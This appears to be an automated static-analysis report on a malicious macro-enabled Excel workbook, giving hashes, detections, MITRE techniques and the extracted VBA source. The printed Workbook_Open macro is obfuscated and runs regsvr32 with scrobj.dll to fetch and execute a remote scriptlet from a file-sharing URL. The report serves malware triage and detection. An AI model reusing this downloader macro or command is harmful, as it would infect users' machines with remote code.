Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8653c3a2880e296f…

MALICIOUS

Office (OOXML)

20.2 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: c477177c830b2a7014619d7360779825 SHA-1: 15e2b8eed0256a2f7a80848781ee1697664b6d0a SHA-256: 8653c3a2880e296f2bbe5fafcbb9412f1a28b1df8e97294f38a3bd25918d2c63
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a Workbook_Open macro that utilizes WScript.Shell to execute arbitrary code. This is a common technique for macro-enabled documents to download and run further malicious content. The ClamAV detection of 'Xls.Malware.Valyria-10036093-0' further supports its malicious nature.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.aSkOvIWVXyfyBtiGevffNhbAASGRSAtneiVNvtXezYzBbKLJWIJnDnITRNnycf; *.PZJeAPpYcNaiCpoWQzpwKLZWfkaUbsrO; *.urfcAWAirGFtBBcAuepfIBBwGwwViyPEITvtyQARviYteQQuBfKYasVQTUBwMFZXQaOHp; *.FhfzJVBcicVVCbyvCGosIwXyQDBXpvukrM; *.noGPScNfo", 1
Set Sk = CreateObject("WScript.Shell")
Sk.Run ("regsvr32 /sbNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ   /nIPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr   /ubNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ  /i:https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aac7db  scrobj.dll GvFOJDFNhPIdoYOyEVtQpVhwJQbCuvDEYZFseif")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set Sk = CreateObject("WScript.Shell")
Sk.Run ("regsvr32 /sbNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ   /nIPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr   /ubNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ  /i:https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aac7db  scrobj.dll GvFOJDFNhPIdoYOyEVtQpVhwJQbCuvDEYZFseif")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.aSkOvIWVXyfyBtiGevffNhbAASGRSAtneiVNvtXezYzBbKLJWIJnDnITRNnycf; *.PZJeAPpYcNaiCpoWQzpwKLZWfkaUbsrO; *.urfcAWAirGFtBBcAuepfIBBwGwwViyPEITvtyQARviYteQQuBfKYasVQTUBwMFZXQaOHp; *.FhfzJVBcicVVCbyvCGosIwXyQDBXpvukrM; *.noGPScNfo", 1
Set Sk = CreateObject("WScript.Shell")
Sk.Run ("regsvr32 /sbNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ   /nIPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr   /ubNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ  /i:https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aac7db  scrobj.dll GvFOJDFNhPIdoYOyEVtQpVhwJQbCuvDEYZFseif")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim ACAuHcTM As Workbook, eaIRE As Workbook, uFDDsWGFXoDNMOWUr As Workbook, PQfZaHNaMMnbvwZCLpYGwJBDeaISaGPLzvirObiwUCYaAHhO As Workbook
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aac7db In document text (OOXML body / shared strings)
    • https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aaIn document text (OOXML body / shared strings)
    • https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a201In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15476 bytes
SHA-256: dd075f2a7caf8173fd5ff4a11535a5ded47a91191c417025738e5e8c6c649c21
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim ACAuHcTM As Workbook, eaIRE As Workbook, uFDDsWGFXoDNMOWUr As Workbook, PQfZaHNaMMnbvwZCLpYGwJBDeaISaGPLzvirObiwUCYaAHhO As Workbook
Dim vYOEEnJLVscvdbSeVVwoXdFOkRVGrZzzaPkn As Workbook, EiuskJSDFCfUUNbCHPHZrBayeHHSKystBOfIJFOCnPWUnIeMzntTZZyyUBfIpYo As Workbook, ZyWVSIhsJXDHKFLTXKLFuGiLfCZyfQSNeGBEWtFdiWLuyoSeROHsXJbOZN As Workbook, AKHACIzkIyVnByrhnzUanEnedvs As Workbook
Dim JIVe As Integer, VDeFMkPV As Integer, nSRsRYOGzokQZHIfWzLInytpoyhhfZkteHTPwG  As Integer, pcFEBGbSLiGOddJUc As Integer
Dim czcLBFyKhrbANFLZKZuZHfIYzwbtekIJMhCoQkBHXEoONPUh As Range, YyGJGYVCVYRitDXOeowrPVBSOoPYrkycWDbNTCyMGATfUWUPkoIeSXVdXOUokX As Range, JYrVrXcytIBDPzutukOcwtECpitQFtJNNzpLDyoCDbLnsOMytDwQnuNvzTMiFvSaY As Range
Dim iIidSMeXZWLH As Range, AyuaZuz As Range, CXkyYwdPySnkhHbmsPSbTYdKWAehUdnatpJBHUPCzEEWSJMoMXszsHGTJDB As Range, DzXLWdKEvbfPVcaocuKOeUEeYPWEpwGKSRcLozefS As Range, KwKfrcYyDuaSaGrSfiAyTwPzVcoZJFacdTTweQdtbuFHKsb As Range, dURQkis As Range
Dim JtBM As Variant, DPezrnQCRvkcRdwYeuVnKuTKiCAZAOnuWviktQen As Variant
Dim aZKs As String
Dim AeptzLQGMnEEcteYFbPTVhKe, wbBsXNBbveXndUnYbDEoTULAVZPUa As Long

Dim nGQWvEhNcRFZPJJKntKuhrYhYzMBTozYLCVEhrG As Variant
nGQWvEhNcRFZPJJKntKuhrYhYzMBTozYLCVEhrG = Array("tnkVSkGefInkTRNVMRYEzQVJ #", "ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN", "EyRyntshMzysriHSZMDOZLzWSCPiPKYKXZaeYefzQ", "tnkVSkGefInkTRNVMRYEzQVJ VIHJBGDvrMIECrdJZnVyZuLQHRDrCwWwSZcwYpu", "tnkVSkGefInkTRNVMRYEzQVJ BKysKJVPIHKdkbCIJuiDRpyAwpopeizDZCwVQcY", "bNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ IPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr", "GvFOJDFNhPIdoYOyEVtQpVhwJQbCuvDEYZFseif")
Dim ZMSKIKKQupNrnBLODhbMbDyfOSMJbuEOhTYLrwt As Long, yifHHSOSyISHrYHdBtLJShKaTUyQQoFYrNtbHoJ As Long
Dim DOUV As String, TOsXyQkJtnbJtcDWAdoMwiMpKJikTsRStDKvXZuCZVWPMGUJHzJHLHaLWiaYJOBPt As String
For VDeFMkPV = 1 To AeptzLQGMnEEcteYFbPTVhKe
    DOUV = uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & VDeFMkPV).Value
    TOsXyQkJtnbJtcDWAdoMwiMpKJikTsRStDKvXZuCZVWPMGUJHzJHLHaLWiaYJOBPt = uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("Vs?KarVKBEsOH" & VDeFMkPV).Value
    Select Case True
        Case DOUV = "pcLAFhXWLBbetYAOyUYCCtiQcZPfrnIzMCkMfAi:": uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & VDeFMkPV & ":Vs?KarVKBEsOH" & VDeFMkPV).Font.Bold = True
        Case InStr(1, DOUV, "ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN: ")
            uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & VDeFMkPV & ":CCUaCVNUQAnQhToLuDHoaALuC" & VDeFMkPV).Interior.ColorIndex = 15
            uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & VDeFMkPV).Font.Bold = True
        Case InStr(1, TOsXyQkJtnbJtcDWAdoMwiMpKJikTsRStDKvXZuCZVWPMGUJHzJHLHaLWiaYJOBPt, "tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab"): uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("Vs?KarVKBEsOH" & VDeFMkPV & ":Vs?KarVKBEsOH" & (VDeFMkPV + 2)).Interior.ColorIndex = 37
        Case InStr(1, TOsXyQkJtnbJtcDWAdoMwiMpKJikTsRStDKvXZuCZVWPMGUJHzJHLHaLWiaYJOBPt, "Vs?KarVKBEsOH"): uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("Vs?KarVKBEsOH" & VDeFMkPV & ":Vs?KarVKBEsOH" & (VDeFMkPV + 2)).Interior.ColorIndex = 3
        Case InStr(1, TOsXyQkJtnbJtcDWAdoMwiMpKJikTsRStDKvXZuCZVWPMGUJHzJHLHaLWiaYJOBPt, "wYfEXWCWPkIokcTWdFDfOYVOJDKEkobBbcthtXKZrsbWWBXBUUMzHkNuctVA"): uFDDsWGFXoDNMOWUr.unMBeBUssSQLWiyJuNhTHJu(1).Range("Vs?KarVKBEsOH" & VDeFMkPV & ":Vs?KarVKBEsOH" & (VDeFMkPV + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next VDeFMkPV
Application.DisplayAlerts = False
Dim TUSfBPrepiAfAYheoTGkQTprBkENytOoAZSbh As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'CXkyYwdPySnkhHbmsPSbTYdKWAehUdnatpJBHUPCzEEWSJMoMXszsHGTJDB  SDddWiCENbFODLBIdaabMkyBQCaVD VDeFMkPV  unMBeBUssSQLWiyJuNhTHJu
    .Filters.Add "Excel Files", "*.aSkOvIWVXyfyBtiGevffNhbAASGRSAtneiVNvtXezYzBbKLJWIJnDnITRNnycf; *.PZJeAPpYcNaiCpoWQzpwKLZWfkaUbsrO; *.urfcAWAirGFtBBcAuepfIBBwGwwViyPEITvtyQARviYteQQuBfKYasVQTUBwMFZXQaOHp; *.FhfzJVBcicVVCbyvCGosIwXyQDBXpvukrM; *.noGPScNfo", 1
Set Sk = CreateObject("WScript.Shell")
Sk.Run ("regsvr32 /sbNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ   /nIPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr   /ubNpdULuoVCMIVNWGnpyIJhfdTIecNeVPhYyHIVJ  /i:https://www.4sync.com/web/directDownload/1i_Viubf/_renzVwX.49dcae70af3e91f0f642a20124aac7db  scrobj.dll GvFOJDFNhPIdoYOyEVtQpVhwJQbCuvDEYZFseif")
 .Show
 'ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab /nIPZQdNJRitPiHzrFZiJOBdTNCaUWsbycoBGuBOr SDddWiCENbFODLBIdaabMkyBQCaVD tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab SDddWiCENbFODLBIdaabMkyBQCaVD

End With
If InStr(fullpath, ".urfcAWAirGFtBBcAuepfIBBwGwwViyPEITvtyQARviYteQQuBfKYasVQTUBwMFZXQaOHp") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.unMBeBUssSQLWiyJuNhTHJu(1).UsedRange.Copy Destination:=wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & Rows.AcbIVzBfMVCpSnendBCYJzVkWCsuSvZwrsSCvrQrFdtYReOhGfvcZvabiSLzdpoAVuUBB).End(xlUp)
wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("bTwBazDNRBNtEQIEdIEvTEWnsEZRD").Value = "Status"
lRow = wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Cells(Rows.AcbIVzBfMVCpSnendBCYJzVkWCsuSvZwrsSCvrQrFdtYReOhGfvcZvabiSLzdpoAVuUBB, 1).End(xlUp).Row
For JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB = 2 To lRow
    If wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("H" & JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB).Value = 0 And wb.unMBeBUssSQLWiyJuNhTHJu(1).Range("I" & JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB).Value = 0 Then
        wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB" & JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB).Value = "wYfEXWCWPkIokcTWdFDfOYVOJDKEkobBbcthtXKZrsbWWBXBUUMzHkNuctVA"
    Else
        wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB" & JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB).Value = "wYfEXWCWPkIokcTWdFDfOYVOJDKEkobBbcthtXKZrsbWWBXBUUMzHkNuctVA"
    End If
Next JyiaZKDrQrLSTzwwddbkROybDDnkTnFdtyhBAOenNCSyYKchbvAIVKdUZhCB
wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("ppsTdLFXWWWaEWOzcwdBbTzi:bTwBazDNRBNtEQIEdIEvTEWnsEZRD").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/znuWbkEhTIQWkiZRcicrWoz", "FF", "FF/znuWbkEhTIQWkiZRcicrWoz", "RPntcWFEUPTBTFsfcLFyZdWUd", "RPntcWFEUPTBTFsfcLFyZdWUd/znuWbkEhTIQWkiZRcicrWoz"), _
    Operator:=xlFilterValues
    'EyRyntshMzysriHSZMDOZLzWSCPiPKYKXZaeYefzQ
    wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("ppsTdLFXWWWaEWOzcwdBbTzi:bTwBazDNRBNtEQIEdIEvTEWnsEZRD").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN
    wb.unMBeBUssSQLWiyJuNhTHJu("ssChcsifssJdJhJt").Range("ppsTdLFXWWWaEWOzcwdBbTzi:bTwBazDNRBNtEQIEdIEvTEWnsEZRD").AutoFilter _
    Field:=7, _
    Criteria1:=Array("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab", "Vs?KarVKBEsOH", "wYfEXWCWPkIokcTWdFDfOYVOJDKEkobBbcthtXKZrsbWWBXBUUMzHkNuctVA"), _
    Operator:=xlFilterValues
Worksheets("ssChcsifssJdJhJt").Cells(1, 1).Select
 unMBeBUssSQLWiyJuNhTHJu.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"ssChcsifssJdJhJt!R1C1:R" & lRow & "SDddWiCENbFODLBIdaabMkyBQCaVD", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Select
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).AddFields _
ColumnFields:="tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab", _
RowFields:=Array("ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN", "yUAfJHQyOKsJGhaVZyMXtYPQhpLohOYtzeUWRpW", "yUAfJHQyOKsJGhaVZyMXtYPQhpLohOYtzeUWRpW", "yUAfJHQyOKsJGhaVZyMXtYPQhpLohOYtzeUWRpW", "yUAfJHQyOKsJGhaVZyMXtYPQhpLohOYtzeUWRpW")
With wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("HKynfzGrXcYF")
.Orientation = xlDataField
.Name = "AcbIVzBfMVCpSnendBCYJzVkWCsuSvZwrsSCvrQrFdtYReOhGfvcZvabiSLzdpoAVuUBB"
.Function = xlCount
End With

With wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("HKynfzGrXcYF")
.Orientation = xlDataField
.Name = "INZPABErIsBUGnVFovISzzRnBUvwYTaXRRUVowWcZfZzuuAupBQHw"
.NumberFormat = "INZPABErIsBUGnVFovISzzRnBUvwYTaXRRUVowWcZfZzuuAupBQHw"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

With wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN")
    .yUtJanQayBCPzIRINFYstrXOROEkyN("ezceckZkyMLyELJVUVAHErUshpsdHchdGuV").Visible = False
    .yUtJanQayBCPzIRINFYstrXOROEkyN("ezceckZkyMLyELJVUVAHErUshpsdHchdGuV").Visible = False
    .yUtJanQayBCPzIRINFYstrXOROEkyN("ezceckZkyMLyELJVUVAHErUshpsdHchdGuV").Visible = False
    .yUtJanQayBCPzIRINFYstrXOROEkyN("ezceckZkyMLyELJVUVAHErUshpsdHchdGuV").Visible = False
    .yUtJanQayBCPzIRINFYstrXOROEkyN("(ezceckZkyMLyELJVUVAHErUshpsdHchdGuV)").Visible = False
End With
With wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("Battalion")
    .yUtJanQayBCPzIRINFYstrXOROEkyN("ezceckZkyMLyELJVUVAHErUshpsdHchdGuV").Visible = False
    .yUtJanQayBCPzIRINFYstrXOROEkyN("(ezceckZkyMLyELJVUVAHErUshpsdHchdGuV)").Visible = False
End With
For Each TUSfBPrepiAfAYheoTGkQTprBkENytOoAZSbh In wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("Rank").yUtJanQayBCPzIRINFYstrXOROEkyN
    On Error Resume Next
    TUSfBPrepiAfAYheoTGkQTprBkENytOoAZSbh.Visible = False
Next TUSfBPrepiAfAYheoTGkQTprBkENytOoAZSbh
With wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("Rank")
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz/TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz/TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz/TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz").Visible = True
    .yUtJanQayBCPzIRINFYstrXOROEkyN("(TGDAvnuuDbGhFCPwHdEMBUSSQEQiPXdDkEVUQvWUUz)").Visible = False
End With
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).PivotFields("Battalion").ShowDetail = False
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").PivotTables(1).RefreshTable
For j = 7 To 13
    wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & j).Value = "Battalion " & wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & j).Value
    Debug.Print (j)
Next j
For k = 6 To 22 Step 8
    wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & k).Value = "ieGDUQFEMCyRiXkXuzPrLuvSptdWhKhfbFdkkFfXMiNZnocbeJMiRKiVSOoDN " & wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & k).Value
Next k
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("SDddWiCENbFODLBIdaabMkyBQCaVD").Value = "AcbIVzBfMVCpSnendBCYJzVkWCsuSvZwrsSCvrQrFdtYReOhGfvcZvabiSLzdpoAVuUBB"
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("SDddWiCENbFODLBIdaabMkyBQCaVD").Value = "%"
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("SDddWiCENbFODLBIdaabMkyBQCaVD").EntireRow.Hidden = True
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab:SDddWiCENbFODLBIdaabMkyBQCaVD").Columns.AutoFit
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Columns("SDddWiCENbFODLBIdaabMkyBQCaVD").Hidden = True
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("SDddWiCENbFODLBIdaabMkyBQCaVD:SDddWiCENbFODLBIdaabMkyBQCaVD").Interior.Color = vbRed
wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("SDddWiCENbFODLBIdaabMkyBQCaVD:SDddWiCENbFODLBIdaabMkyBQCaVD").Interior.ColorIndex = 22
For m = 7 To 23 Step 8
    wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & m & ":F" & m + 6).Interior.Color = vbYellow
    wb.unMBeBUssSQLWiyJuNhTHJu("nSHSdzEwzeKtNJGaerdLVGRRMdUwMykUrJFfzrIFNsQWEsJvIoyvFKyLFJaawrsIuoH").Range("tnkUTkFdeIniSQNVMQZEyQVJGJiDFPYdKZNPyBPniyCsQkZEBiNyaLOHtKAnab" & m - 1 & ":F" & m - 1).Interior.ColorIndex = 15
Next m

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 31744 bytes
SHA-256: f56cfaecba9d25858494b94ca590db6ae478f73c50f044fe33eed0b07629ee12
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: likely
